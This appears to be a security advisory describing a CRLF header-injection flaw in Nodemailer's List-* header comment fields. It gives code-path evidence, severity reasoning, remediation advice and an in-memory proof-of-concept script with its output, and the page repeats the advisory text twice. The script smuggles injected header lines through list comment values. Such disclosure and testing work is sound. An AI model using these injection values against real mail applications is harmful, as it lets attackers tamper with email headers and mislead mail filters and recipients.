|
Vulnerabilities
< Back

GHSA-268h-hp4c-crq3

Updated on 15 Jun 2026

Severity

5.4 Medium severity

Details

CVSS score
5.4
Links
NISTCIRCLRHELUbuntu

Overview

About vulnerability

Summary

Nodemailer constructs List-* headers from the caller-provided list message option using internally prepared header values. The list.*.comment field is inserted into those prepared values without removing CR (\r) or LF (\n) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to mimeFuncs.foldLines(), a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.

An application that lets a lower-privileged or unauthenticated user influence list.help.comment, list.unsubscribe.comment, list.subscribe.comment, list.post.comment, list.owner.comment, list.archive.comment, or list.id.comment can therefore be made to generate messages containing attacker-chosen additional headers.

Details

Source-to-sink evidence:

  • lib/mailer/mail-message.js:241-249 calls _getListHeaders(this.data.list) and adds each returned value with this.message.addHeader(listHeader.key, value).
  • lib/mailer/mail-message.js:253-296 builds each list header value as { prepared: true, foldLines: true, value: ... }.
  • For List-ID, lib/mailer/mail-message.js:272-279 copies value.comment into the generated header value. If mimeFuncs.isPlainText(comment) returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it.
  • For the other List-* headers, lib/mailer/mail-message.js:283-288 copies value.comment into (<comment>). If mimeFuncs.isPlainText(comment) returns true, the value is not encoded or CRLF-normalized.
  • lib/mime-node/index.js:323-351 accepts the prepared header object.
  • lib/mime-node/index.js:533-540 trusts options.prepared; when foldLines is set, it pushes mimeFuncs.foldLines(key + ': ' + value) directly into the header block.
  • The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.
  • lib/mailer/mail-message.js:299-308 removes whitespace and angle brackets from list.*.url, so the confirmed injection source is the comment field, not the URL field.

Default/common exposure evidence:

  • lib/nodemailer.js:21-60 exposes the public createTransport(...).sendMail(...) flow used by the package.
  • examples/full.js:106-123 documents list.unsubscribe.comment and list.id.comment as normal message options.
  • The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.

False-positive screening and negative controls:

  • SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.
  • Ordinary subject header input containing CRLF was normalized to a single Subject: header and did not create X-Injected in the local control case.
  • Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.
  • prepared: true custom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documented list.*.comment option.

Variant analysis:

Local testing confirmed the same root cause for comments in List-Help, List-Unsubscribe, List-Subscribe, List-Post, List-Owner, List-Archive, and List-ID. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.

Affected version evidence and uncertainty:

  • Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
  • Git history shows _getListHeaders present in historical commits including 22fcff8 (v4.3.0) and related list-header work in 9b4f90a (v3.1.8), but older versions were not dynamically tested during this audit.
  • Affected range is therefore recorded as unknown beyond the confirmed current version.
  • No patched version was identified in this checkout.

Severity rationale:

  • AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.
  • AC: A single CRLF sequence in a documented message option triggers the issue.
  • PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.
  • UI: No maintainer or victim interaction is needed after the application accepts the message object.
  • S: The impact remains in the application/mail-generation security scope.
  • C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.
  • A: No availability impact was demonstrated.

Final self-review:

  • Reproduction evidence was generated locally from this checkout with a safe in-memory streamTransport PoC and a negative Subject control case.
  • The PoC is non-destructive and does not send network traffic outside the process.
  • The observed output contains an actual CRLF-delimited injected header line.
  • Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.
  • The affected range is not overclaimed; only the current tested version is confirmed vulnerable.

PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const nodemailer = require('./');
const headersEnd = raw => raw.slice(0, raw.indexOf('\r\n\r\n'));
const hasStandaloneInjected = raw => /\r\nX-Injected: yes\)/.test(raw) || /\r\nX-Injected: yes\r\n/.test(raw);
(async () => {
const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });
const positive = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'control',
list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\r\nX-Injected: yes' } },
text: 'body'
});
const positiveRaw = positive.message.toString('utf8');
console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));
console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\r\n').filter(line => /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\n')));

const control = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'safe\r\nX-Injected: no',
text: 'body'
});
const controlRaw = control.message.toString('utf8');
console.log('CONTROL_HAS_INJECTED=' + /\r\nX-Injected: no\r\n/.test(controlRaw));
console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\r\n').filter(line => /^Subject:|^X-Injected:/.test(line)).join('\n')));

const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];
const result = [];
for (const key of variantKeys) {
const info = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'variant ' + key,
list: Object.assign({}, { [key]: { url: key === 'id' ? 'example.test' : 'https://example.test/' + key, comment: 'c\r\nX-Variant-' + key + ': yes' } }),
text: 'body'
});
result.push(key + '=' + new RegExp('\\r\\nX-Variant-' + key + ': yes').test(info.message.toString('utf8')));
}
console.log('VARIANTS=' + result.join(','));
})().catch(err => { console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

POSITIVE_HAS_INJECTED=true
POSITIVE_LIST_LINE="List-Unsubscribe: <https://example.test/u> (ok\nX-Injected: yes)"
CONTROL_HAS_INJECTED=false
CONTROL_SUBJECT="Subject: safe X-Injected: no"
VARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true

Expected vulnerable output: POSITIVE_HAS_INJECTED=true and all listed variants ending in =true. Expected negative/control output: CONTROL_HAS_INJECTED=false, showing the ordinary Subject header path does not create a separate injected header.

Cleanup: none required; the PoC uses only in-memory message generation.

Impact

A lower-privileged attacker who can influence list.*.comment fields in an application using Nodemailer can inject arbitrary additional headers into generated email messages. This can alter message semantics and downstream mail-client or mail-filter behavior, including adding attacker-controlled metadata headers. The PoC confirms header-boundary injection in the generated RFC822 output; it does not demonstrate SMTP command injection, recipient injection, or code execution.

Suggested remediation

Normalize or reject CR and LF in list.*.comment before constructing prepared List-* headers. Prefer sharing the same CRLF-neutralization behavior used for ordinary header values, or avoid using prepared: true for caller-controlled list comment content. Add regression tests for CRLF in every documented list comment-bearing field and verify that generated messages do not contain attacker-controlled standalone headers.

Details

Affected product:
Node.js , loopback
Affected packages:
nodemailer @ 6.10.1 (+5 more)

Summary

Nodemailer constructs List-* headers from the caller-provided list message option using internally prepared header values. The list.*.comment field is inserted into those prepared values without removing CR (\r) or LF (\n) characters. Because prepared headers bypass the normal header-value sanitizer and are passed to mimeFuncs.foldLines(), a CRLF sequence in a list comment is emitted as an actual header boundary in the generated RFC822 message.

An application that lets a lower-privileged or unauthenticated user influence list.help.comment, list.unsubscribe.comment, list.subscribe.comment, list.post.comment, list.owner.comment, list.archive.comment, or list.id.comment can therefore be made to generate messages containing attacker-chosen additional headers.

Details

Source-to-sink evidence:

  • lib/mailer/mail-message.js:241-249 calls _getListHeaders(this.data.list) and adds each returned value with this.message.addHeader(listHeader.key, value).
  • lib/mailer/mail-message.js:253-296 builds each list header value as { prepared: true, foldLines: true, value: ... }.
  • For List-ID, lib/mailer/mail-message.js:272-279 copies value.comment into the generated header value. If mimeFuncs.isPlainText(comment) returns true, it wraps the comment in quotes rather than encoding or CRLF-normalizing it.
  • For the other List-* headers, lib/mailer/mail-message.js:283-288 copies value.comment into (<comment>). If mimeFuncs.isPlainText(comment) returns true, the value is not encoded or CRLF-normalized.
  • lib/mime-node/index.js:323-351 accepts the prepared header object.
  • lib/mime-node/index.js:533-540 trusts options.prepared; when foldLines is set, it pushes mimeFuncs.foldLines(key + ': ' + value) directly into the header block.
  • The normal header-value sanitizer path is bypassed because the value is marked prepared. By contrast, ordinary unprepared header values are normalized in the regular header-building path.
  • lib/mailer/mail-message.js:299-308 removes whitespace and angle brackets from list.*.url, so the confirmed injection source is the comment field, not the URL field.

Default/common exposure evidence:

  • lib/nodemailer.js:21-60 exposes the public createTransport(...).sendMail(...) flow used by the package.
  • examples/full.js:106-123 documents list.unsubscribe.comment and list.id.comment as normal message options.
  • The behavior is in shipped runtime code and does not require test-only code, non-default build steps, or undocumented internals.

False-positive screening and negative controls:

  • SMTP command construction was separately reviewed. Envelope sender/recipients reject CRLF before SMTP commands, EHLO names strip CRLF, SIZE is numeric, and DSN fields are encoded; no SMTP command-injection variant was confirmed.
  • Ordinary subject header input containing CRLF was normalized to a single Subject: header and did not create X-Injected in the local control case.
  • Address display names and MIME filename/content-type parameters were reviewed by a focused MIME/header audit and were encoded or CRLF-normalized in local checks.
  • prepared: true custom headers are an explicit low-level escape hatch, but this issue is different because Nodemailer itself creates prepared headers from the documented list.*.comment option.

Variant analysis:

Local testing confirmed the same root cause for comments in List-Help, List-Unsubscribe, List-Subscribe, List-Post, List-Owner, List-Archive, and List-ID. These should be fixed together by rejecting or normalizing CR/LF in list comments before prepared header generation, or by avoiding the prepared-header bypass for caller-controlled list values.

Affected version evidence and uncertainty:

  • Confirmed vulnerable: nodemailer 8.0.8 at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55.
  • Git history shows _getListHeaders present in historical commits including 22fcff8 (v4.3.0) and related list-header work in 9b4f90a (v3.1.8), but older versions were not dynamically tested during this audit.
  • Affected range is therefore recorded as unknown beyond the confirmed current version.
  • No patched version was identified in this checkout.

Severity rationale:

  • AV: The vulnerable library path is reached through application-level message submission in typical networked applications that use Nodemailer.
  • AC: A single CRLF sequence in a documented message option triggers the issue.
  • PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.
  • UI: No maintainer or victim interaction is needed after the application accepts the message object.
  • S: The impact remains in the application/mail-generation security scope.
  • C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.
  • A: No availability impact was demonstrated.

Final self-review:

  • Reproduction evidence was generated locally from this checkout with a safe in-memory streamTransport PoC and a negative Subject control case.
  • The PoC is non-destructive and does not send network traffic outside the process.
  • The observed output contains an actual CRLF-delimited injected header line.
  • Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.
  • The affected range is not overclaimed; only the current tested version is confirmed vulnerable.

PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const nodemailer = require('./');
const headersEnd = raw => raw.slice(0, raw.indexOf('\r\n\r\n'));
const hasStandaloneInjected = raw => /\r\nX-Injected: yes\)/.test(raw) || /\r\nX-Injected: yes\r\n/.test(raw);
(async () => {
const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });
const positive = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'control',
list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\r\nX-Injected: yes' } },
text: 'body'
});
const positiveRaw = positive.message.toString('utf8');
console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));
console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\r\n').filter(line => /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\n')));

const control = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'safe\r\nX-Injected: no',
text: 'body'
});
const controlRaw = control.message.toString('utf8');
console.log('CONTROL_HAS_INJECTED=' + /\r\nX-Injected: no\r\n/.test(controlRaw));
console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\r\n').filter(line => /^Subject:|^X-Injected:/.test(line)).join('\n')));

const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];
const result = [];
for (const key of variantKeys) {
const info = await transport.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'variant ' + key,
list: Object.assign({}, { [key]: { url: key === 'id' ? 'example.test' : 'https://example.test/' + key, comment: 'c\r\nX-Variant-' + key + ': yes' } }),
text: 'body'
});
result.push(key + '=' + new RegExp('\\r\\nX-Variant-' + key + ': yes').test(info.message.toString('utf8')));
}
console.log('VARIANTS=' + result.join(','));
})().catch(err => { console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

POSITIVE_HAS_INJECTED=true
POSITIVE_LIST_LINE="List-Unsubscribe: <https://example.test/u> (ok\nX-Injected: yes)"
CONTROL_HAS_INJECTED=false
CONTROL_SUBJECT="Subject: safe X-Injected: no"
VARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true

Expected vulnerable output: POSITIVE_HAS_INJECTED=true and all listed variants ending in =true. Expected negative/control output: CONTROL_HAS_INJECTED=false, showing the ordinary Subject header path does not create a separate injected header.

Cleanup: none required; the PoC uses only in-memory message generation.

Impact

A lower-privileged attacker who can influence list.*.comment fields in an application using Nodemailer can inject arbitrary additional headers into generated email messages. This can alter message semantics and downstream mail-client or mail-filter behavior, including adding attacker-controlled metadata headers. The PoC confirms header-boundary injection in the generated RFC822 output; it does not demonstrate SMTP command injection, recipient injection, or code execution.

Suggested remediation

Normalize or reject CR and LF in list.*.comment before constructing prepared List-* headers. Prefer sharing the same CRLF-neutralization behavior used for ordinary header values, or avoid using prepared: true for caller-controlled list comment content. Add regression tests for CRLF in every documented list comment-bearing field and verify that generated messages do not contain attacker-controlled standalone headers.